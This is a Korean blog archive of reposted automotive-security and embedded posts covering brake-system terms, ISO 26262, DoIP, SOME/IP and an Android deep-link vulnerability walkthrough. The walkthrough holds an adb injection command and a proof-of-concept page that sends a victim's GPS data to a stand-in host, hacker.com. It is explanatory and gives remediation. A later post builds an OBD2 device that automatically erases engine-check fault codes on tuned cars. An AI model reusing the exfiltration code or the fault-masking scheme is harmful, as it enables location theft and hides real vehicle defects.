전장관련 용어(Braking System 중심.. : 네이버블로그 (naver.com)

 

Moc(Motor on Caliper) : 모터 장착 캘리퍼

EPB(Electronic Parking Brake) : 전자식 주차 브레이크

ABS(Anti-lock Breaking System) : 브레이크 잠김 방지 장치 --> 감속 시 제어

TCS(Traction Control System) : 구동력 제어장치 --> 가속 시 제어

ESP(Electronic Stability Program) : 차량 전복방지

ESC(Electronic Stability Control) : 차량 자세제어 장치

LDWS(Lane Departure Waring System) : 차선이탈 경고장치

LKS(Lane Keeping System) : 차선 유지 시스템

LKAS(Lane Keeping Assist System)

MFC(Multi Function Camera) : 멀티 기능 모노 카메라

PAS(Parking Assist System)

 

 ABS 기능이 마비되는 비상상태에 대한 대책으로 전자식 주차 브레이크(EPB: Electronic Parking Brake)를 대체제로 활용하여 비상시에도 운전자가 안전하게 정차할 수 있도록 하는 연구가 최근에 발표된 바 있다.

 EPB는 크게 케이블 풀리 타입, 캘리퍼 타입으로 구분할 수 있고 모터로 구동되는 캘리퍼 타입인 Moc(Motor on Caliper)가 많은 차종에 탑재되어 있다. 이는 Moc 스크류를 통해 브레이크 패드로 브레이크 디스크를 눌러 그 둘 사이의 마찰력으로 브레이크의 제동력을 발생시킨다. 이와 같이 EPB는 전자적으로 제어가 가능하기에 ABS와 유사한 형태로 제어기법을 적용하여 EPB 다이나믹 브레이킹 제어설계가 가능하다.

 

<전자 브레이크 시스템 MK 100 ESC>

출처 : Continental 홈페이지 

ABS(Anti-Lock Brake System) 및 TCS(Traction Control System)기능에 더하여 추가된 센서의 신호를 받아 주행 차량의 선회 중 불안정한 차량 거동으로 인한 위급 상황시 자동으로 각 바퀴를 독립적으로 감속 제어하거나 엔진 출력을 제어하여 차량의
조정 안전성을 확보하는 제어 장치입니다. 또한 장애물 회피 기동 제어, 안정된 코너링 주행과 제동 및 구동 시 미끄럼방지 제어를
동시에 구현할 수 있습니다.

 

EBS( Mobis에는 MEB, iMEB라고 표현함 Mobis Electronic Brake)

출처 : MOBIS홈페이지

 

MFC(멀티 기능 모노카메라)

 

 

EPB - Electronic Parking Brake

간단한 스위치 조작만으로 주차 브레이크를 작동/해제 할 수 있으며 실내 공간 활용 용이성과 신호대기 또는 차량정체 구간에서
잦은 브레이크 페달 조작으로 운전자의 피로를 경감시켜줍니다. 경사로에서는 출발을 위해 가속 페달을 밟으면 차량이 뒤로 밀리지 않도록 하면서 체결된 주차 브레이크를 자동으로 해제해 주며 주행 중 브레이크 파열 및 브레이크 페달을 작동할 수 없는 상황에서 EPB 스위치를 이용하여, 긴급상황에 차량의 비상제동이 가능한 차세대 브레이크 시스템으로 Cable Puller Type과 Motor on Caliper Type이 있습니다.

 

EPB 구조

 

 ESC는 현재 가장 중요한 능동  안전 시스템으로 위험한 주행 상태를 방지한다. 시스템이 휠 속도 센서, 조향각 센서, 요레이트 및 횡 방향 가속도 센서의 측정 데이터를 지속적으로 분석해 운전자의 지정값을 실제 차량 특성과 비교한다. 갑작스런 조향의 결과로 차체 거동에 불안정한 상태가 감지되면, ESC가 밀리세컨드 내에 반응해 휠을 개별적으로 제동하고 엔진 토크를 조정해 차량을 안정화시킨다. 차가 급제동을 할 때 휠이 잠길 위험이 있을 때는 ABS가 제동력의 전자식 제어를 통해 이같은 현상을 방지하고 조향을 가능한 안정적 상태로 만든다.

 기본적 브레이크 시스템은 ABS, TCS, ESC 및 전자 주차 브레이크(EPB)를 포함한다.

 

ESC/ESP를 구성하는 부품들 ( 출처 : 다음블로그 )

ESC(ECU)와 Wheel Sensor, Pedal Sensor, G Sensor ?

 

'경로 및 정보' 카테고리의 다른 글

스마트 컨트랙트 코드 분석  (0) 2023.02.28
Ethernaut 블록체인 wargame  (0) 2023.02.28
Item definition, 아이템 정의  (0) 2023.02.24
OBD2 와 CAN 통신 (BMW) 펌  (0) 2023.02.23
'ISMS' vs 'CSMS'  (0) 2023.02.22
블로그 이미지

wtdsoul

,

Item definition (tistory.com)

 

Item definition

Item definition, 아이템 정의 ISO 26262 Part 1.Vocabulary의 정의를 인용하여 1.69itemsystem or array of systems to implement a function at the vehicle level, to which ISO 26262 is applied 아이템ISO 26262가 적용되는 자동차 수준에서

hujubkang.tistory.com

 

Item definition, 아이템 정의

 

ISO 26262 Part 1.Vocabulary의 정의를 인용하여

 

1.69

item

system or array of systems to implement a function at the vehicle level, to which ISO 26262 is applied 

 

아이템

ISO 26262가 적용되는 자동차 수준에서 기능을 수행하는 시스템 또는 시스템 배열

 

 

 

어려운 영어가 아니니 해석은 되겠지만, 아이템이 시스템 또는 시스템 배열이라고?

 

이는 ISO 26262 Part 10. Guideline 를 활용해서 확인해 보자.

 

 

 

 

Figure 4. Example item dissolution

 
 
위 그림을 보니까 시스템은 하부 시스템들로 구성될 수 있으며,
item의 정의대로 System 또는 System 배열로 구성되어져 있음을 알 수 있다.
 
 
두번째로 E/E는 Sensor, Controller, Actuator로 구성되어 있다.
각 Sensor, Controller, Actuator는 Hardware, Software로 구성되어질 수 있다.
 
 

Element는 Hardware부터 System까지 폭 넓게 사용될 수 있다.

이노무 단어가 너무 폭 넓게 되어 있으니까 가끔 어떻게 이해해야 할지 헷갈려 할 때가 있다.

(버럭 버럭)

 

그럼 Component는 무엇인가?

 

 

1.15

component

non-system level element that is logically and technically separate and is comprised of more than one hardware part or of one of one or more software units

 

컴포넌트

논리적 및 기술적으로 분리 가능하고, 하나 이상의 하드웨어 소자나 하나 이상의 소프트웨어 단위으로 구성된 것으로, 시스템 수준은 아닌 엘리먼트

 

비고. 컴포넌트는 시스템의 일부이다.

 

 

자 그럼 이 글의 제목에서 말한 Item definition, 아이템 정의를 말해보자.(ISO 26262 Part 3. clause 5 참조)

 

첫번 째 목적은, 아이템 정의의 목적은 아이템, 환경과 기타 아이템과의 의존성 및 상호작용을 정의하고 기술하는 것이다.

 

 

두 번재 목적은, 아이템에 대한 적절한 이해와 그 다음 단계의 활동이 수행될 수 있도록 지원하는 것이다.

 

 

아이템 정의는 개발하고자 하는 범위를 정확히 정해놓고 시작하자는 것이다.

 

 

 

Figure 22. Item boundary

 

 

위 ISO 26262 Guideline 그림을 보자.

점선으로 테두리가 쳐진 부분이 아이템 정의, Item definition이다.

 

예를 들면 Actuator control ECU는 아이템 정의 내에 있다. 달리 말하면 VS ECU는 개발 범위에 속하지 않는다. 그저 내용을 받아오면 된다.

 

그럼 받아만 오면 되는 것이냐? 

이런 얘기를 하는 것은 당연히 아니라는 것이겠다.

 

ISO 26262 Part 3

5.4.2 아이템, 그 아이템의 인터페이스, 그리고 타 아이템과 엘리먼트와의 상호작용과 관련된 가정에 대한 경계는 다음 사항을 고려하여 정의해야 한다.

 

위 문장에 대해 자세히 a) ~ g)까지 설명은

다른 아이템과의 상호작용, 영향, 기능 분배, 등등에 대하여 고려하고 있다.

 

아이템 정의 시

ISO 26262 Part 3

5.4.1 아이템과 환경 사이의 의존성은 물론, 아이템의 기능 및 비기능 요구사항에 대한 정보를 이용 가능해야 한다.

 

아이템과 관련하여 다 정의해야 한다는 것이다.

 

a) 작동모드와 상태를 포함하는 아이템의 기능과 목적을 기술하는 기능 개념

b) 운영 및 환경 제약 사항

c) 법률적 요구사항(특히 법과 규정), 국가표준과 국제표준

d) 해당되는 경우에 한해, 유사한 기능, 아이템 및 엘리먼트에 의해 달성되는 동작

e) 아이템에서 예상되는 동작에 대한 가정

f) 알려진 고장형태와 위험원을 포함하는 동작결여로 인해 발생할 수 있는 잠재적 결과

 

 

고려할게 참 많지 않은가?

 

그런데, 해당 아이템 정의는 보시다시피 안전(Safety)를 고려하지 않았다.

 

왜?

 

이유는 아직 개발 처음이기 때문이다.

개발 초기부터 어떤 기능안전컨셉을 가지고 갈지 정해지지 않았다.

 

아이템 범위를 정했으니,다음 작업은 어떤 수명주기를 착수하고, ASIL 부여하여 Safety goal를 설정하여

레벨에 맞게끔 개발을 정해야 한다.

 

 

 

Figure 23. Second iteration on the item design

 

Figure 22과 Figure 23의 차이는 Redundant Switch를 추가하였다.

 

이는 아이템 정의가 초기 정해지고, Hazard Analysis and Risk Assessment를 통해 ASIL 을 결정하고,

ASIL 레벨에 다라 안전 컨셉을 부여하게 된다.

 

위 Figure 23은 ASIL C에 따라 Redundant Swith를 부여한 경우이다.

 

많은 경우 Redundancy를 고려할 수 있겠지만, ASIL A의 경우에는 권장사항도 아니다.

ASIL에 맞게끔 공대생 답게 가격경쟁력을 가진 개발을 위한 머리를 굴려야하겠다.

 

지끈 지끈 해보자

 

'경로 및 정보' 카테고리의 다른 글

Ethernaut 블록체인 wargame  (0) 2023.02.28
전장관련 용어(Braking System 중심으로)  (0) 2023.02.27
OBD2 와 CAN 통신 (BMW) 펌  (0) 2023.02.23
'ISMS' vs 'CSMS'  (0) 2023.02.22
Embedded Fuzzing list  (0) 2023.02.20
블로그 이미지

wtdsoul

,

BMW에서 발견된 소프트웨어 취약보안점, OBD2와 CAN통신은? : 네이버 포스트 (naver.com)

 

BMW에서 발견된 소프트웨어 취약보안점, OBD2와 CAN통신은?

[BY 몬스터게이지] 얼마전 네이버 메인에 선정된 테슬라 OBD2관련 포스팅, 그리고 OBD2 기반의 비즈니스...

m.post.naver.com

 

'경로 및 정보' 카테고리의 다른 글

전장관련 용어(Braking System 중심으로)  (0) 2023.02.27
Item definition, 아이템 정의  (0) 2023.02.24
'ISMS' vs 'CSMS'  (0) 2023.02.22
Embedded Fuzzing list  (0) 2023.02.20
안드로이드 딥링크 취약점  (0) 2023.02.20
블로그 이미지

wtdsoul

,

'ISMS' vs 'CSMS'

경로 및 정보 2023. 2. 22. 11:22

 

 

'ISMS' vs 'CSMS' (brunch.co.kr)

 

'ISMS' vs 'CSMS'

CS = "Cyber Security" or "Car Security"? | 'ISMS'는 잘 아시듯 "Information Security Management System"으로서, '정보'를 그 대상으로 하며, ISO2700* Series의 중심입니다. 'CSMS'는 무엇일까요? "Cyber Security Management System"으

brunch.co.kr

 

 

 

블로그 이미지

wtdsoul

,

GitHub - andreia-oca/awesome-embedded-fuzzing: A list of resources (papers, books, talks, frameworks, tools) for understanding fuzzing for IoT/embedded devices.

 

GitHub - andreia-oca/awesome-embedded-fuzzing: A list of resources (papers, books, talks, frameworks, tools) for understanding f

A list of resources (papers, books, talks, frameworks, tools) for understanding fuzzing for IoT/embedded devices. - GitHub - andreia-oca/awesome-embedded-fuzzing: A list of resources (papers, books...

github.com

 

블로그 이미지

wtdsoul

,

안드로이드 딥링크 취약점 (tistory.com)

 

안드로이드 딥링크 취약점

ி 딥링크 취약점 실행 과정 1. AndroidManifest.xml 파일 내 application 태그에서 MainActivity 내 딥링크 사용 확인 딥링크: app://deeplink/load.jsp 2. getQueryParameter 함수를 통해 딥링크의 파라미터(Url) 값 확인이

jdh5202.tistory.com

 

ி 딥링크 취약점 실행 과정


1. AndroidManifest.xml 파일 내 application 태그에서 MainActivity 내 딥링크 사용 확인
딥링크: app://deeplink/load.jsp


2. getQueryParameter 함수를 통해 딥링크의 파라미터(Url) 값 확인이 가능하며 해당 파라미터를 이용하여 웹뷰를 실행하는 딥링크 앱인 것을 확인(url 검증 로직이 존재하지 않아 Open Redirect 취약점 연계 가능)
딥링크: app://deeplink/load.jsp?Url=


3. MainActivity 내 자바스크립트 인터페이스를 사용하는 getGPSLocation() 함수 확인,
해당 함수 실행 시 evaluateJavascript를 통해 send_gpsinfo 함수 실행
JavascriptInterface: 안드로이드와 웹뷰의 통신을 위해 만들어진 인터페이스이며
웹뷰 내 자바스크립트로 안드로이드 함수를 호출하거나 안드로이드에서 웹뷰의 자바스크립트 실행 가능
evaluateJavascript: 안드로이드에서 웹뷰 내의 자바스크립트 실행 가능

4. 공격자 서버로 이동되도록 poc 작성 후 딥링크 실행(피해자가 피싱에 의해 실행했다고 가정)
app://deeplink/load.jsp?Url=https://hacker.com/hacker_link.php"
딥링크 실행 방법 1. 딥링크 테스트 사이트 이용(https://jdh5202.tistory.com/951)
방법 2. 단말기 내에서 html 파일 생성 후 a 태그로 딥링크를 작성하여 요청
방법 3. adb 명령어 이용( adb shell am start -W -a android.intent.action.VIEW -d "deeplink" 패키지명
ex)adb shell am start -W -a android.intent.action.VIEW -d "app://deeplink/load.jsp?Url=javascript:Android.getGPSLocation\(\)" com.example.recv_deeplink


공격자 서버 페이지(hacker_link.php) 코드
 <html><head><script>
 function send_gpsinfo(gps_info)
 { 
 // gps 정보 출력 
 document.getElementById("result").innerHTML = gps_info; 
 
 // 공격자 서버로 피해자의 gps 정보를 전송
 client = new XMLHttpRequest();
 client.open('POST', 'https://hacker.com/saveGPSinfo.php',true);
 client.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 client.send("gpsinfo=" + gps_info);
 }   
 </script></head><body><center>
 
 <!-- 딥링크 -->
 <a href="javascript:window.Android.getGPSLocation();">Click me!</a>
 
 <div id="result"></div>
 </center></body></html>


End. 피해자가 딥링크 클릭 시 공격자 서버로 GPS 정보가 전송됨

참고: 해당 취약점을 확인하려면 인텐트 스키마 및 JavascriptInterface 개념을 이해하고 있어야 한다.
취약점 조치방법은 allow-list 방식으로 인가된 URI에 대해서만 JavascriptInterface 권한을 부여하도록 설정한다. 
 

ி 딥링크 취약점 사례

 
딥링크를 통해 세션 하이재킹, 계정 탈취, LFI, webview 구현을 사용하는 xss 등 다양한 종류의 취약점이
발생할 수 있다. 예를들어 아래 딥링크를 통해 특정 사용자의 세션을 열 수 있다면 공격자는 파라미터 값 변조를
통해 계정 탈취를 수행하는 딥링크를 작성할 수 있다. 

example://exam.com/v1/users/sessionId=jdh5202  -> example://exam.com/v1/users/sessionId=admin 

블로그 이미지

wtdsoul

,

https://smartstore.naver.com/mhivestore/products/4953744659

https://github.com/ChrisWonyeobPark/M-HIVE_STM32_tutorial_course

 

GitHub - ChrisWonyeobPark/M-HIVE_STM32_tutorial_course: Source code for M-HIVE STM32 tutorial course (TrueSTUDIO and STM32CubeID

Source code for M-HIVE STM32 tutorial course (TrueSTUDIO and STM32CubeIDE) - GitHub - ChrisWonyeobPark/M-HIVE_STM32_tutorial_course: Source code for M-HIVE STM32 tutorial course (TrueSTUDIO and STM...

github.com

 

'하드웨어 해킹 및 임베디드' 카테고리의 다른 글

Embedded Recipes  (0) 2023.04.11
ELF format Object File에 관한 진실  (1) 2023.03.14
TELECHIPS社 TCC8925 안드로이드용  (0) 2023.02.15
자동차 관련 교육 과정  (0) 2023.01.17
Car Hack Github 경로  (0) 2023.01.13
블로그 이미지

wtdsoul

,

ISO 13400 Diagnostic over IP (DoIP) Protocol Stack | Vault Micro Blog

 

ISO 13400 Diagnostic over IP (DoIP) Protocol Stack

DoIP, ISO 13400, Diagnostic over IP, OBD

vaultmicro.blogspot.com

 

ISO 13400 Diagnostic over IP (DoIP) 소개


 불과 몇년전만 하더라도 자동차에 사용되는 버스 시스템은 CAN과 LIN밖에 없었습니다. 최근 대역폭이 확대되고 안전에 대한 요구가 있어 FlexRay와 멀티미디어 분야를 대상으로 한 MOST규격이 도입되었습니다. 하지만 FlexRay와 MOST를 구축하기 위해서는 복잡하고 비싸 CAN의 차량 진단 기능을 대체에 한계가 있습니다.

이를 해결하기 위해 최근 자동차 분야에서 Ethernet을 이용하여 자동차 ECU 진단 또는 소프트웨어 업그레이드 용도로 개발되었고 차량 내 통신 또한 Ethernet으로 구현을 시도하고 있습니다.

볼트마이크로는 DoIP Protocol Stack을 제공하고 제조사가 요구하는 기능의 개발/검증 서비스를 제공하고 있습니다.





[Vault DoIP Protocol Stack Feature]

  • Generic acknowledge
  • Vehicle Identification 
  • Routing activation
  • Alive Check
  • Diagnostic Power Mode
  • Diagnostic Message


[DoIP 표준 및 동향]

- ISO 13400 Diagnostic communication over Internet Protocol (DoIP)에 정의

  • ISO 13400-1:  일반 정보와 유즈케이스 정의
  • ISO 13400-2:  전송 프로토콜과 네트워크 계층 서비스
  • ISO 13400-3:  IEEE 802.3 기반의 유선 인터페이스


- 전기차가 충전을 위한 통신 기능을 제공 하기 위해 만들어진 ISO15118 V2G(V2G Communication Interface)의 Session Layer5 계층에서 DoIP 일부 사용되고 있으며, Smart Charge Communication(SCC) 프로토콜 기반으로 중전 종류(AC/DC), 충전 날짜와 시간, 충전 길이, 단가 및 지불 정보가 교환 됨.

- AUTOSAR는 4버전에서 Ethernet 통신을 포함하였으며, DoIP 표준을 수용

 

 

블로그 이미지

wtdsoul

,

SOME/IP Protocol과 Service Discovery 소개 및 개념 (tistory.com)

 

SOME/IP Protocol과 Service Discovery 소개 및 개념

SOME/IP 간략 소개SOME/IP는 "Scalable service-Oriented MiddlewarE over IP"의 약자입니다. 이 미들웨어는 일반적인 자동차 사용 사례와 최소 유선 형식 수준의 AUTOSAR와 호환되도록 설계되었습니다. http://some-ip.c

jjeongil.tistory.com

 

SOME/IP 간략 소개

SOME/IP는 "Scalable service-Oriented MiddlewarE over IP"의 약자입니다. 이 미들웨어는 일반적인 자동차 사용 사례와 최소 유선 형식 수준의 AUTOSAR와 호환되도록 설계되었습니다.  http://some-ip.com/에서 공개적으로 액세스할 수 있는 사양이 제공됩니다. 이번 포스팅에서는 SOME/IP 사양의 기본 구조와 오픈 소스 구현 및 오픈 소스 구현에 대한 간략한 개요를 제공하고자 합니다.

 

먼저 SOME/IP 사양의 세 가지 주요 부분부터 살펴보겠습니다.

 

On-wire format

Protocol

Service Discovery

 

 

SOME/IP On-wire format

원칙적으로 SOME/IP 통신은 IP를 통해 devices 또는 subscribers 간에 전송되는 메시지로 구성됩니다. 다음 그림을 참고하세요.

 

두 장치(A 및 B)가 표시되어 있습니다. Device A는 B에 SOME/IP 메시지를 보내고 하나의 메시지를 반환합니다. 기본 전송 프로토콜은 TCP 또는 UDP를 활용합니다. 메시지 자체에는 큰 차이가 없습니다. 이제 Device B에서 이 메시지에 의해 Device  A에서 호출되는 기능을 제공하는 서비스를 실행하고 있다고 가정하고, 그 답으로 메시지를 보냅니다.

 

SOME/IP 메시지에는 header와 payload의 두 부분이 있습니다. 그림에서 헤더는 주로 식별자입니다:

 

Service ID : 각 서비스의 고유 식별자

Method ID : 0-32767(방법), 이벤트의 경우 32768-65535

Length : 페이로드 길이(바이트)(다음 ID도 포함, 8바이트 추가)

Client ID : ECU 내의 호출 클라이언트에 대한 고유 식별자로, 전체 차량에서 고유해야 합니다.

Session ID : 세션 처리를 위한 식별자. 각 통화에 대해 증가시켜야 합니다.

Protocol Version : 0x01

Interface Version : 주요 서비스 인터페이스 버전

Message Type :

-- REQUEST (0x00) 응답을 기다리는 요청(공백도) 

-- REQUEST_NO_RETURN (0x01) A fire&forget 요청 

-- NOTIFICATION (0x02) 응답이 없을 것으로 예상되는 알림/이벤트 콜백 요청 

-- RESPONSE (0x80) response message

Return Code : 

-- E_OK (0x00) 오류 발생이 없을 시

-- E_NOT_OK (0x01) 지저오디지 않은 오류 발생  

-- E_WRONG_INTERFACE_VERSION (0x08) Interface version 불 일치

-- E_MALFORMED_MESSAGE (0x09) 페이로드의 크기를 줄일 수 없도록 감도화 오류

-- E_WRONG_MESSAGE_TYPE (0x0A) 예상치 못한 메시지 유형 수신 (예를 들어 RE-QUEST_NO_RETURN)

 

정상적인 기능 호출과 클라이언트가 가입한 이벤트에 대한 알림 메시지에 "Requests" 및 "RESPONSE"가 있음을 알 수 있습니다. 오류는 정상적인 응답 또는 알림으로 보고되지만 적절한 반환 코드가 있습니다.

 

payload에는 직렬화된 데이터가 포함되어 있습니다. 위 그림은 전송된 데이터 구조가 기본 데이터 유형만 있는 중첩 구조라는 단순한 경우의 직렬화를 보여주고 있습니다. 이 경우, 구조 요소는 그냥 평평하게 됩니다. 즉, 단순히 적재물에 하나씩 기록된다는 뜻입니다.

 

SOME/IP Protocol

이 섹션에서는 주로 두 가지 사항이 중요합니다.

 

the so-called transport bindings (UDP and TCP)

the basic communication patterns publish/subscribe and request/response.

 

위에서 언급한 바와 같이 기본 전송 프로토콜은 UDP 또는 TCP일 수 있습니다. UDP의 경우 SOME/IP message가 분할되지 않습니다. message가 둘 이상 UDP 패킷에 있을 수 있지만 UDP 패키지는 최대 1400바이트일 수 없습니다. 큰 message는 TCP를 통해 전송되어야 합니다. 이 경우 TCP의 robustness가 사용됩니다. TCP 스트림에서 동기화 오류가 발생하면 SOME/IP 규격에서 다음 message의 시작을 다시 찾기 위해 magic cookies를 호출할 수 있습니다.

 

service interfaces를 인스턴스화해야 하며 동일한 인터페이스의 인스턴스가 여러 개 있을 수 있으므로 정의된 인스턴스(인스턴스 ID)에 대한 추가 식별자가 있어야 합니다. 그러나 인스턴스 ID는 SOME/IP 메시지 header의 일부가 아닙니다. 인스턴스는 전송 프로토콜의 포트 번호를 통해 식별됩니다. 즉, 동일한 인터페이스에서 여러 인스턴스가 동일한 포트에서 제공될 수 없습니다.

 

이제 기본 SOME/IP 통신 패턴을 보여 주는 다음 그림을 보십시오.

 

Remote Procedure Calls에 대한 표준 REQUEST/RESPONSE 메커니즘 외에도 이벤트에 대한 PUBLISH/SUBSCRIBE 패턴도 있습니다. SOME/IP 프로토콜의 이벤트는 항상 이벤트 그룹에 그룹화되므로 이벤트 자체는 가입할 수 없고 이벤트 그룹에만 가입할 수 있습니다. SOME/IP 사양도 "필드"를 알고 있습니다. 이 경우 Setter/Getter 방법이 REQUEST/RESPONSE 패턴을 따르고 있으며 변경사항의 알림 message는 이벤트입니다. Subscription 자체는 SOME/IP Service Discovery을 통해 수행됩니다.

 

 

SOME/IP Service discovery

SOME/IP 서비스 검색은 서비스 인스턴스를 찾고 서비스 인스턴스가 실행 중인지 탐지하고 publish/subscribe 처리를 구현하는 데 사용됩니다. 이것은 소위 말하는 offer messages를 통해 수행됩니다. 즉, 각 device는 이 device에서 제공하는 모든 서비스를 포함하는 메시지를 broadcast(멀티캐스트)합니다. SOME/IP SD messages는 UDP를 통해 전송됩니다. 클라이언트 애플리케이션에 서비스가 필요하지만 현재 제공되지 않는 경우 "find messages"도 보낼 수 있습니다. 다른 SOME/IP SD messages는 이벤트 그룹을 Publish/Subscribe하는 데 사용할 수 있습니다.

 

다음 그림은 SOME/IP SD messaged의 일반적인 구조를 보여줍니다.

 

vsomeip 간단 개요

도입 사례를 구현하기 전에 vsomeip이라고 하는 SOME/IP의 GENIVI 구현의 기본 구조에 대해 간단히 살펴보겠습니다.

 

그림과 같이 vsomeip은 기기 간 SOME/IP communication (외부 통신)뿐만 아니라 내부 프로세스 간 communication 도 포함합니다. 두 Device는 사용된 전송 프로토콜(TCP 또는 UDP)과 해당 매개 변수를 포트 번호 또는 기타 매개 변수로 결정하는 통신 endpoints 을 통해 통신합니다. 이러한 모든 매개 변수는 vsomeip 구성 파일에 설정할 수 있는 구성 매개 변수입니다(json 파일, vsomeip 사용자 설명서 참조). 내부 communication은 로컬 endpoint를 통해 이루어지며, 이 엔드포인트는 Boost.Asio Library를 사용하여 Unix 도메인 소켓에 의해 구현됩니다. 이 내부 통신은 D-Bus 데몬과 같은 중앙 구성 요소를 통해 라우팅되지 않으므로 매우 빠릅니다.

 

중앙 vsomeip 라우팅 관리자는 외부 디바이스로 전송해야 하는 경우에만 messages를 수신하고 외부에서 들어오는 messages를 배포합니다. Device 당 라우팅 관리자는 하나만 있으며, 아무것도 구성되지 않은 경우 실행 중인 vsomeip 애플리케이션도 라우팅 관리자를 시작합니다.

 

vsomeip은 데이터 구조의 직렬화를 구현하지 않습니다. 이는 CommonAPI의 SOME/IP Binding에서 다루고 있습니다. vsomeip은 SOME/IP Protocol과 Service Discovery을 포함합니다.

 

이는 SOME/IP 및 vsomeip에 대한 짧은 소개였습니다  그러나 처음 접하시는 분들에게는 충분할 것입니다. 더 자세한 것은 나중에 예제를 통해 설명하도록 하겠습니다.

블로그 이미지

wtdsoul

,

OBD2 블루투스 동글을 이용한 엔진체크등 자동 소거기 - 자동차 DIY - 자동차 가지고 놀기 (daum.net)

 

OBD2 블루투스 동글을 이용한 엔진체크등 자동 소거기

차량에 이상이 감지된 경우, 엔진체크등 (MIL : Malfuction Indicator Lamp)이 점등 됩니다.이때 진단단자 (OBD2 Connector)에 스캐너를 연결하여 오류코드 (DTC : Diagonostic Trouble Code)를 읽으면차량의 어느 부분

m.cafe.daum.net

 

 

 
OBD2 블루투스 동글을 이용한 엔진체크등 자동 소거기
 
작성자돌퓨터[김원준]|작성시간14.04.09|조회수1,726목록댓글 9글자크기 작게글자크기 크게

차량에 이상이 감지된 경우, 엔진체크등 (MIL : Malfuction Indicator Lamp)이 점등 됩니다.

이때 진단단자 (OBD2 Connector)에 스캐너를 연결하여 오류코드 (DTC : Diagonostic Trouble Code)를 읽으면

차량의 어느 부분에 이상이 발생했는지 대략 알 수 있습니다.

 

차량에 이상이 발생했다면, 그 원인을 찾아서 수리를 하는 것이 올바른 방법이겠지만,

수리를 해도 엔진체크등을 지울 수 없는 경우도 있습니다.

특히 배기관련 튜닝을 한 경우에 흔하게 발생하는 문제 입니다.

 

많은 운전자들이 이런 문제 때문에, 스캐너로 주기적으로 DTC를 삭제하며 운행을 하는데, 무척 번거로운 일입니다.

그래서, 시중에서 쉽게 구할 수 있는 OBD2 블루투스 동글을 개조하여

자주 발생하는 DTC코드를 기억하였다가,  오류가 발생하면 자동으로 지워주는 장치를 만들어 보았습니다.

 

-------------------------------------------------------------------------------

 

얼마전... 

 

평소에 일은 잘 안하고, 자동차 경주에 나갈 기회만 호시탐탐 노리고 있는 것으로 보이는 

인피동 노땅 회원분으로부터 카톡이 왔습니다.

 

예전에 만들었던 학습형 DTC 자동 소거기 (참조: http://cafe.daum.net/playwithcar/7MdY/23 )

여분이 있냐는 내용이 었는데, 사실대로(^^;) 없다고 하려다가...

뭔가 느낌이 이상해서 어디다 쓰려고 하냐고 물어봤더니, 아는 분 차량에 자꾸 오류가 떠서 그렇다고 하시더군요.

 

그런데 그 차량이 바로....,...

요런 계기판을 가진 좀 특별한 차량이더군요...

 

좀 넓게 볼까요? 뭔가 좀... 아니 마구 복잡하네요

 

엔진룸도 심상치 않게 생겼군요... 무슨 차일까요?

 

저... 저요?

 

네 무려... 무르시엘라고 LP640 입니다.

 

아벤타도르에게 자리를 물려주기 전까지, 람보르기니의 기함이었던 멋진 녀석이죠...

람보를 한번 뜯어봐야겠다는 호기심에 그만 일을 벌이고 말았습니다.

또 수십만원을 날릴 기회가 생긴거죠 ㅠㅠ

 

:

:

:

 

몇 일 뒤... 땅바닥에 찰싹 달라붙어 있는 무르시를 만났고, 일단 어떤 오류가 있는지 스캔해 봤습니다.

 

현재는 2개의 오류 코드가 떠 있지만, 배기/Miss fire 관련 오류 몇가지가 계속 발생한다고 합니다.

배기 튜닝이 된 상태이기 때문에, 일반적인 수리 방법으로는 해결이 되지 않는다는군요.

 

그래서 급히 DTC 소거기를 만들어서 연결해 봤는데...

OTL... 이 차량은 (2008년식 무르시엘라고) OBD단자에 CAN이 없었습니다.

DTC 소거기는 CAN 방식만을 지원하기 때문에 이 차에는 아무런 쓸모가 없더군요.

어쩔 수 없이 기념사진만 찍고ㅠㅠ 무르시와는 일단 이별을 하게 되었습니다.

 

 

 

CAN을 지원하지 않는 구형 차량도 대부분 K-Line은 지원하기 때문에,

K-Line 방식으로 DTC 소거기를 다시 만들면 되지만, 그러려면 시간도 많이 걸리고,

비용도 많이 들어가기 때문에 포기 할까하다가.... 좋은 생각이 떠 올랐습니다.

 

자동차의 진단단자(OBD2I 단자)에 꽂고 스마트폰이나 노트북등과 블루투스로 연결하여

차량의 상태 (속도, RPM, 냉각수온, 유온등)를 실시간으로 확인할 수 있는 "OBD2 블루투스 동글" 이라는 장치가 있습니다.

 

1~3만원대의 저렴한 가격으로 구입할 수 있고, 대부분의 차량에 사용가능하죠. 이렇게 생겼습니다.

 

요즘 많은 분들이 차량에 설치하여 "Torque" ( https://play.google.com/store/apps/details?id=org.prowl.torque )와

같은 스마트폰용 어플을 사용하여 보조 게이지로 사용하고 계시죠.

 

 

OBD2 동글은 ELM-327이라는 자체 프로토콜을 지원하며, ELM-327은 차량의 종류/연식등에 따라

다른 여러가지 통신방식을 간단한 AT 커맨드 방식으로 변환해 주는 일종의 번역장치 입니다.

ELM-327에 대하여 자세히 알고 싶으신 분은 http://elmelectronics.com/ 를 참조하시기 바랍니다.

 

이 제품을 사용하면, CAN, K-LIne을 포함하여, 전 세계의 구형~신형 차량 대부분을 지원할 수 있는

다양한 통신 프로토콜을 비교적 쉽게 사용할 수 있습니다.

 

 

DTC 소거기는 CAN 밖에 지원하지 않아서 구형 차량에는 사용할 수 없지만,

차량에서 사용되는 다양한 OBD 관련 프로토콜을 모두 지원하는 ELM-327이

들어 있는 블루투스 동글을 약간 개조하면 비교적 쉽게 문제를 해결 할 수 있을 것입니다..

 

가지고 있던 OBD2 블루투스 동글을 분해해 보았습니다. 제품 상단에 붙어 있는 작은 PCB가 블루투스 모듈입니다.

 

블루투스 모듈은 ELM-327 chip과 시리얼통신(UART)으로 연결되어 있습니다.

블루투스 모듈을 제거하고, ELM-327에서 나온 시리얼통신 라인을 제가 제작한 CPU 보드와 연결합니다.

 

CPU보드는 다른용도로 만들었던 것을 개조한것이라서 살짝 지저분합니다.^^

 

그리고, ELM-327을 통하여 기존의 학습형 DTC 자동 소거기와 같은 기능을 할 수 있도록 프로그램을 작성하였습니다.

 

 

드디어 완성 되었는데....그런데, 이렇게 만들어 놓고보니, 조금 더 욕심이 생겼습니다.

 

"제어 회로(CPU보드)를 OBD2 동글 안에 넣을 수 있지 않을까?"

 

블루투스 모듈을 떼어 낸 자리에 넣을 수 있도록 아주 작은 회로를 만들었습니다.

회로설계와 아트웍 작업 후, 주문한 PCB가 도착했습니다. 주문한 량보다 훨~~~씬 많이 보내주셨네요^^

 

크기는 아래 사진과 같습니다. 100원짜리 동전과 비교해 보시죠~

 

